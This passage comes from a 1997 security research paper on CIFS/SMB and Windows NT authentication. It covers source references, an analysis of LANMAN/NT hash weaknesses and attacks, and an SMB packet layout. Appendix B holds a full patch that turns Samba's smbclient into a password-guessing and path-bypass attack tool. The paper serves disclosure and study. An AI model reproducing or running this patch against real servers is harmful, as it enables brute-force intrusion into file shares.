Possibly the most instructive document is the CIFS spec, which can be found at www.internic.net:/internet-drafts/draft-heizer-cifs-v1-spec-00.txt. The spec for NetBIOS over TCP is in RFC1001 and RFC1002, available at any RFC repository. Another important source is of course the Samba suite, from nimbus.anu.edu.au:/pub/tridge/samba and numerous mirror sites. The "old-versions" subdirectory thereof should contain version 1.9.15p8 of the code.

Microsoft's "knowledge base" contains lots of fairly good, albeit rather

sanitized, information via FTP or the web. The NT articles are summarized in ftp.microsoft.com:/bussys/winnt/kb/index.txt, which is possibly the best starting point. The Microsoft resource kits are another reference source that could possibly have answered more questions, but were unavailable at the time and therefore *not* consulted.

Many security practitioners are collecting information about problems in Microsoft products. The "hack Microsoft" page at www.c2.org:/hackmsoft/ is a good example, as is the information that Somarsoft makes available at www.somarsoft.com:/security.htm and related items. Details about problems in the IIS web server and related things are up for grabs at www.omna.com.

As NT specifically loomed larger as a problem area during data collection, many NT-specific references came to light. It has been VERY difficult to avoid diving down the thousands of potential ratholes involved with closer investigation of NT. An email exchange with Tom Sheldon, initially concerning a reference to Netcat he wanted to add to his book, got us talking. The book is now out: "Windows NT Security Handbook" [680 pages, 0-07-882240-8, $34.99US]. Helpful tidbits of information came from this, along with many more from Tom's very informational site at www.ntresearch.com. Several papers, articles, and checklists are available there. Another site that is also beginning to make several NT *tools* [notably NTFSDOS] available is www.ntinternals.com, run by Mark Russinovich and Bryce Cogswell.

The archive of the NT-security mailing list is overwhelmingly HUGE by now, and lives at ftp.iss.net:/pub/lists/ntsecurity-digest.archive/. Nevertheless, the bulk of it was pulled down and at least searched for relevant items if not read outright. ISS also maintains some vulnerability databases and security checklists. The mailing list appears to be useful, and frequently points to other sources on NT security. Here are some of them. They do not all appear to have titles or authors; some are just random web pages that may have more than one maintainer.

> An Overview of Windows NT Security, by Jim Frost, May 4, 1995
> world.std.com:/~jimf/nt-security.html
>
> A comprehensive collection of pointers to other NT security resources is taking shape at www.it.kth.se/~rom/ntsec.html.
>
> Bill Stout posted a paper comparing NT vs. Unix network security, last seen at www.hidata.com:/guest/whitepapers/NTsec.htm. It may have moved since.

Bruce Schneier should of course be mentioned, whose "Applied Cryptography" presents a very clear picture of using crypto properly. Laurent Joncheray presented his interesting paper on the "desync" TCP attack at the 1995 Usenix Security conference. Random items have been plucked out of various mailing lists like NTSEC and Firewalls along the way, specific references to which were never saved. Those wonderful wackos who maintain www.L0pht.com have been extremely supportive of the ongoing research, and are also starting to make some interesting tools and examples available. Dominique Brezinski at cybersafe.com was helpful in some private mail, and John Hood sent several last-minute edits.

Thanks go out in general to those folks in the Internet security community with that no-bullshit approach, who do not hold back with getting problems out where everyone can help examine and solve them on a timely basis.

Appendix A: Crypto

There are two algorithms used to cryptographically secure the authentication

data between a user and a server. The earlier LANMAN-compatible algorithm uppercases the password, truncates or pads to 14 characters as needed, and derives therefrom a pair of odd-parity DES keys to ECB-encrypt a fixed 8-byte quantity described in CIFS as "available from Microsoft upon request" but already well-known to be the decryption of 0xAAD3B435B51404EE with a key of all zeros. The second method is currently supported by NT and Samba, which preserves the case of the password up to 128 bytes, converts it to unicode, and runs the result through MD4. Each algorithm outputs 16 bytes of cryptographic hash that securely represents the user's password. These 16 bytes are called "OWF passwords" from the associated one-way function, and are stored in registries and Samba's alternate "smbpasswd" file. Smbencrypt.c in conjunction with the "libdes" routines handle most of this.

For challenge response, five more nulls are appended to either hash type and the 21 total bytes used as a key triple to DES encrypt the 8-byte challenge into three separate output blocks. The final 24-byte output of this process is sent in the SMB in place of the plaintext password. The password length normally sits at parameter word smb_vwv7 as Samba builds the block, and the buffer area farther along contains the response bytes. Under NT LM dialect there are two password fields -- one for the all-uppercase LANMAN-compatible password or hash thereof and one for the case-sensitive NT-style equivalent. The lengths sit at smb_vwv7 and smb_vwv8 respectively, and the corresponding data buffers are consecutive. NT clients by default fill both buffers with the two types of encrypted 24-byte responses. If told to use plaintext passwords, the NT client only sends a LANMAN password in smb_vwv7 but in *mixed* case.

This is open to more than one easy man-in-the-middle attack. One is even documented in CIFS as the "downgrade attack", wherein a fake server response tells a client to use observable cleartext passwords. Since the fake response packet only needs one changed payload bit and different checksums, this attack is undetectable since a later real response is simply discarded by the TCP transport. A more interesting attack involves taking the cryptkey from one session and network-spoofing it into a victim's later one; the victim's resulting 24-byte response is used to authenticate the first session instead. Here, CIFS makes the cryptographically naive error of letting the client user "sign" the arbitrary data in the cryptkey instead of a hash that includes it.

The application user interfaces in general encourage the historically bad practice for all users to choose the same password across many different machines, even across different NT domains. This is held forth as a single-sign-on model, but standard elements of a real SSO system such as time-limited session credentials never enter the picture at all. The implementation also is in many ways too restrictive for most real-world environments. How does one go about the sounder practice of having separate accounts for separate machines or groups thereof? Some utilities will ask for another password and try again if the cached login password isn't correct for a different server, but this doesn't work everywhere. Example: The NT "net" utility accepts a "/USER:othername" switch when doing a "net use", but not when doing a "net view". Remote registry editing and related tools first try to use the credentials from the console login, and if that doesn't work either ask for an alternate password or simply fail. Sometimes a way to specify a completely alternate login is necessary, but NT's designers seems to have ignored this and not even provided a global "net logon" facility like under WFWG. Often one is forced to create new local accounts and passwords, or use some other band-aid workaround, just to authenticate some underdesigned application to a remote system.

The OWF hashes do not directly reveal a user's plaintext password but if somehow obtained, can be directly used for authentication as well as input to an offline dictionary attack. Directly storing them therefore reduces the

security to about the level of burying plaintext passwords inside scripts and thinking "well, the script is hidden, so the password is safe." Microsoft tries to crock around this recognized decades-old problem by re-encrypting the hashes under some *other* key that is often stored in some obscure but nonetheless findable place. Authentication information is also cached in various places such as .PWL files and registry entries, to support the "automatic drive reconnect" stuff. NT apparently also stores information about the last ten domain-level user logons in the registry, for use in cases when the PDC is unreachable.

Since there is no salting in the OWF transform, even the generic old Unix crypt() algorithm is stronger than this scheme. An entire dictionary's worth of passwords and permutations thereof can be *precomputed* and stored, which reduces an OWF dictionary attack to a big database lookup. The block-mode ECB encryption scheme further implies that only the first 8 bytes of the OWF hash really need to be saved; a successful 8-byte match not only brackets a greatly reduced dictionary segment, it directly reveals the first seven characters of a LANMAN-style password. Related to this is that the challenge-response protocol also uses simple ECB of a known plaintext with no chaining or feedback. Response keys derived from the OWF are invariant and can be similarly precomputed. The first stage of an attack on a recorded session setup only requires the cryptkey and the first 8 bytes from both the precomputed response dictionary and the 24-byte response, and DES encryption of a single block determines whether to bother with the remaining two. Again, cracking just the first block can index down to a much smaller chunk of the dictionary. Under NT LM dialect, NT clients usually send *both* response types in the SetupAndX, which again defeats the whole purpose of the NT style password since cracking the plaintext of the reduced keyspace LANMAN password can serve as a template for cracking the user's "real" NT password.

Normally the SAM registry section on an NT server is protected against reading. An adminstrator can nonetheless take ownership of the whole SAM hive, and dump out various subkeys under Domains\Account\Users\{hex-values}. It is fairly clear from diffing ASCII hive dumps that the 32 bytes at the end of the respective "V" binary blocks correspond to OWF password storage. We can observe corresponding changes to at least the same-length fields in the Samba "smbpasswd" file. The 32 bytes represent the LANMAN and NT OWF hashes, but on NT are re-encrypted under some other set of keys. Attempts to find these meta-keys by trying likely-looking DES-size blocks elsewhere around the registry have thus far failed, but the answer may be discoverable with a little more effort. Anyone who already knows the true magic here is of course encouraged to speak up, even if anonymously.

Inter-domain trust relationships are another NT-specific issue and were not studied here, but surely need to be investigated more closely. Various documentation mentions that a "secure channel" is established between domain controllers using the special DOMAIN$ accounts and a some kind of "secret object" which apparently is often derived from a human-chosen password. The channel is apparently an RPC session, but is it truly encrypted, and if so, how? Would this imply that some mechanism for encrypted SMB does exist after all, but for some reason is not made available to the end users? What about backup domain-controller replication, which implies that one machine can suck down the entire SAM database of another? How about an analysis of encryption across PPTP VPNs? Someone else may be able to answer these questions too.

Appendix B: The Patch Kit

This illustrates some minimal changes needed to turn smbclient into a rudimentary attack kit. It does not cover *every* possibility of protocol weakness by any means, but is enough to get going with some fairly serious

host-level attacks. Briefly, the following changes are effected:

        Adds the interpret_error routine to help straighten out server errors

        Corrects conversion of security mode

        Loops forever reading new trial passwords from standard input

        No-ops out the dos_clean_name() path cleanup routine, and allows
        changing to what appear to be "bad" directory paths.

        Fixes nmblookup to use local UDP port 137 and verbatim scope ID

Apply the patch using your favorite method for doing so; extracting it to a file and doing "patch < file" generally suffices. Configure the Makefile for your platform, and add -DATTACK to FLAGS1. If you want all passwords automatically uppercased, also add -DUPPERCASE. This is optional, since mixed-case passwords are sometimes needed. Don't define PASSWD_FLAGS, so the client cannot use password encryption. Finally, do "make smbclient nmblookup" to build the two programs.

These changes are decidedly quick and dirty, but should illustrate how to begin putting together a much more sophisticated tool. Looking a little farther forward immediately shows several improvements not implemented here: The send_login routine covers three important steps in one linear shot and should be split up into its logically separate SMB steps. Several more commands can be added, to swap between arbitrary sharenames, UIDs, TIDs and other possibly relevant parameters. Overall, the entire breakin scenario can be highly automated.

```
 !-- chop --!
*** client.c    Mon Jan 15 03:56:44 1996
--- attack/client.c     Thu Jan 30 23:14:59 1997
***************
*** 80,81 ****
--- 80,152 ----

+ /* Avian Research demo "SMBAttack" patch kit.  _H*/
+ #ifdef ATTACK
+ unsigned int cur_err;
+
+ #define dos_clean_name donothing
+ void donothing () { return; }
+
+ #define getpass readpass
+ char * readpass (prompt)
+   char * prompt;
+ {
+   char pb [256];
+   char * pp = NULL;
+
+   DEBUG(1,(prompt));
+   pp = fgets (pb, 128, stdin);
+   if (feof (stdin)) exit (0);
+   if (pp) {
+     pp [(strlen (pp) - 1)] = '\0';    /* rip the newline */
+ #ifdef UPPERCASE
+     strupper (pp);                    /* maybe upcase it?  XXX */
+ #endif
+     strcpy (password, pp);            /* and save it */
+   }
```

```
+   return (pp);
+ } /* readpass */
+
+ /****************************************************************************
+ The error returns from various platforms are many and varied, but all of
+ them mean a couple of basic things.  This boils relevant ones down roughly
+ to common server-class status, i.e.:
+       0       success
+       2       access denied, or wrong username/passwd for session OR share
+       5       network-ID not found, for session
+       6       sharename not found, TCon problem
+       1       anything else, probably fatal, including disabled accounts,
+                 negotiation problems, etc
+ ****************************************************************************/
+ static int interpret_error (rcls, err)
+ unsigned char rcls;
+ uint16 err;
+ {
+   if ((rcls == 0) && (err == 0)) return (0);  /* no error */
+   if (rcls == ERRSRV) {
+     if (err == 1) return (1);         /* non-specific error */
+     if (err == 2) return (2);         /* bad name or password */
+     if (err == 4) return (1);         /* insufficient access for function */
+     if (err == 5) return (5);         /* invalid TID */
+     if (err == 6) return (6);         /* invalid network name */
+     if (err == 7) return (6);         /* invalid device */
+     if (err == 1311) return (1);      /* no login servers available [?] */
+     if (err == 2239) return (1);      /* account expired or disabled */
+   } /* ERRSRV */
+   if (rcls == ERRDOS) {
+     if (err == 5) return (2);         /* access denied */
+     if (err == 65) return (1);                /* network access denied */
+     if (err == 67) return (6);                /* network name not found */
+     if (err == 71) return (1);                /* no more connections */
+     if (err == 86) return (2);                /* network password incorrect */
+     if (err == 87) return (1);                /* parameter incorrect */
+     if (err == 90) return (1);                /* too many UIDs */
+ /* XXX: the rest of these might be ERRSRVs too -- all return 1 anyways, so wtf. */
+     if (err == 2240) return (1);      /* access denied from this WS */
+     if (err == 2241) return (1);      /* access denied at this time */
+     if (err == 2242) return (1);      /* password expired */
+     if (err == 2247) return (1);      /* security database corrupted */
+     if (err == 2455) return (1);      /* invalid workgroup */
+   } /* ERRDOS */
+   return (1);                         /* didn't find any mapping */
+ } /* interpret_error */
+ #endif /* ATTACK */

***************
*** 171,172 ****
--- 242,247 ----
        SSVAL(outbuf,smb_flg2,0x1);
+ #ifdef ATTACK
+       SCVAL(outbuf,smb_flg,0x18);     /* already-canonical filenames */
+       SSVAL(outbuf,smb_flg2,0x2001);  /* execute perm == read perm [?] */
+ #endif /* ATTACK */
      }
***************
*** 282,283 ****
--- 357,364 ----
```

```
+ #ifdef ATTACK
+ /* we don't care if it's a bad path or not */
+   if (report && CVAL(inbuf,smb_rcls) != 0)
+     DEBUG(2,(" [but continuing anyway]\n"));
+   return (True);
+ #endif /* ATTACK */
    return(CVAL(inbuf,smb_rcls) == 0);
***************
*** 447,450 ****
--- 528,533 ----
        strcpy(dname,cur_dir);
+ #ifndef ATTACK
        strcat(cur_dir,"\\");
        dos_clean_name(cur_dir);
+ #endif /* ATTACK */

***************
*** 834,837 ****
    if (CVAL(inbuf,smb_rcls) != 0)
      return(False);
!
    /* parse out the lengths */
--- 917,927 ----
    if (CVAL(inbuf,smb_rcls) != 0)
+ #ifdef ATTACK
+ /* show us why */
+   {
+     DEBUG (0,("Trans failed: %s\n", smb_errstr (inbuf)));
+     return (False);
+   }
+ #else
      return(False);
! #endif /* ATTACK */
    /* parse out the lengths */
***************
*** 3014,3016 ****

!   DEBUG(3,("Sec mode %d\n",SVAL(inbuf,smb_vwv1)));
    DEBUG(3,("max xmt %d\n",max_xmit));
--- 3104,3106 ----

!   DEBUG(3,("Sec mode %d\n",sec_mode));                /* fixt.  _H*/
    DEBUG(3,("max xmt %d\n",max_xmit));
***************
*** 3020,3021 ****
--- 3110,3119 ----
    doencrypt = ((sec_mode & 2) != 0);
+ #ifdef ATTACK
+ /* don't encrypt, period */
+   doencrypt = 0;
+ /* don't screw with SessSetupX step unless we genuinely need it */
+   use_setup = ((sec_mode & 1) != 0);
+ /* always read a password anyways */
+   got_pass = 0;
+ #endif /* ATTACK */

***************
*** 3103,3104 ****
--- 3201,3211 ----

+ #ifdef ATTACK
```

```
+       cur_err = interpret_error (
+                       CVAL (inbuf, smb_rcls), SVAL (inbuf, smb_err));
+       if (cur_err == 2) {
+       DEBUG (2, ("session setup failed: %s\n", smb_errstr (inbuf)));
+       goto get_pass;
+       }
+ #endif /* ATTACK */
+
        if (CVAL(inbuf,smb_rcls) != 0)
***************
*** 3129,3130 ****
--- 3236,3241 ----

+ #ifdef ATTACK
+ /* we're in */
+       DEBUG(0,("session established as %s/%s\n", username, password));
+ #endif /* ATTACK */
        if (Protocol >= PROTOCOL_NT1) {
***************
*** 3193,3194 ****
--- 3304,3313 ----

+ #ifdef ATTACK
+       cur_err = interpret_error (
+                       CVAL (inbuf, smb_rcls), SVAL (inbuf, smb_err));
+       if (cur_err == 2) {
+       DEBUG (2, ("TCon failed: %s\n", smb_errstr (inbuf)));
+       goto get_pass;
+       }
+ #endif /* ATTACK */
    /* trying again with a blank password */
***************
*** 3217,3219 ****

!
    max_xmit = MIN(max_xmit,BUFFER_SIZE-4);
--- 3336,3341 ----

! #ifdef ATTACK
! /* we're in */
!   DEBUG(0,("tcon %s connected as %s/%s\n", service, username, password));
! #endif /* ATTACK */
    max_xmit = MIN(max_xmit,BUFFER_SIZE-4);
***************
*** 3863,3865 ****
        receive_smb(Client,buffer,0);
!
  #ifdef CLIX
--- 3985,3991 ----
        receive_smb(Client,buffer,0);
! #ifdef ATTACK
! /* don't send chkpath-keepalives on a nonexistent tcon */
!       if (cnum == 0)
!       continue;
! #endif /* ATTACK */
  #ifdef CLIX
***************
*** 4043,4044 ****
--- 4169,4177 ----
    umask(myumask);
+ #ifdef ATTACK
```

```
+ /* oh, c'mon. */
+   pid = 2048;
+   uid = 0;
+   gid = 0;
+   mid = 2048;
+ #endif /* ATTACK */

*** nmblookup.c Thu Jan 30 20:52:47 1997
--- attack/nmblookup.c  Tue Jan 21 01:39:16 1997
***************
*** 54,56 ****
--- 54,60 ----

+ #ifdef ATTACK
+   ServerFD = open_socket_in(SOCK_DGRAM, 137,3);
+ #else
    ServerFD = open_socket_in(SOCK_DGRAM, 0,3);
+ #endif /* ATTACK */

***************
*** 142,144 ****
--- 146,150 ----
        strcpy(scope,optarg);
+ #ifndef ATTACK
        strupper(scope);
+ #endif /* ATTACK */
        break;
 !-- chop --!
```

Appendix C: Overview of an SMB packet

This is [roughly] the structure of an SMB packet as found inside the TCP payload and Samba's internal buffers. The leading length integer is not part of the SMB proper, and does not always appear under other transport types. For further details, see CIFS section 2.4.

offset	name	size	contents / comments
0	[length int.]	4	TCP transport-layer data length
4	header start	4	0xFF, 'S', 'M', 'B'
8	SMB command	1	cmd code
9	smb_rcls	2	error class; 0 = no error
11	smb_err	2	error code ; 0 = no error
13	smb_flg	1	
14	smb_flg2	2	
16	[filler]	12	
28	TID	2	
30	PID	2	
32	UID	2	
34	MID	2	
36	word count	1	number of following parameter words
37	smb_vwv0	2	0x00FF [intel order] if no AndX cmd
39	smb_vwv1	2	0x0000 if no batched AndX stuff
41	smb_vwv2	2	...
... to a variable length's worth ...			
??	buffers	*	smb_buf() finds this offset
... SMB ends at (TCP-len + 4) ...			

_H* 970130